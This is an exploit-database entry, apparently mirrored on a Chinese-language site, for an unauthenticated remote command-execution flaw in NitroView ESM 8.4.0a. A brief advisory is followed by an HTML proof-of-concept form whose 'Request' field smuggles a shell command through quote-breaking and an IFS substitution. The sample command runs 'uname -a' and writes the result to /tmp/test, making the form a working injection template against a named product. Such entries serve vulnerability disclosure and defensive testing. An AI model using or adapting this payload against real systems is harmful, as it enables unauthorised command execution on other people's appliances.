NitroView ESM – ‘ess.pm’ Remote Command Execution

  • 作者： s_n
    日期： 2010-10-26
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/34932/
  • source: https://www.securityfocus.com/bid/44421/info

NitroView ESM is prone to a remote command-execution vulnerability because it fails to adequately sanitize user-supplied input.

Successful attacks may allow an attacker to execute arbitrary commands on the appliance in the context of the webserver process.

NitroView ESM 8.4.0a is affected; other versions may also be vulnerable.

<html> <pre> [*] Tested on v8.4.0a "NitroSecurity 2.6.22.19-24nssmp64 GNU/Linux" [*] No authentication required [*] "ESSPMDebug=1" in "/usr/local/ess/CPConsoleServer.cfg" required </pre> <form action="https://x.x.x.x/ess"; method="POST"> <input type="text" name="Request" value="A';c='uname:-a';IFS=:;$c>>/tmp/test;'" <input type="hidden" name="debug" value="1"> <input type="submit" value="Oops()"> </form> </html>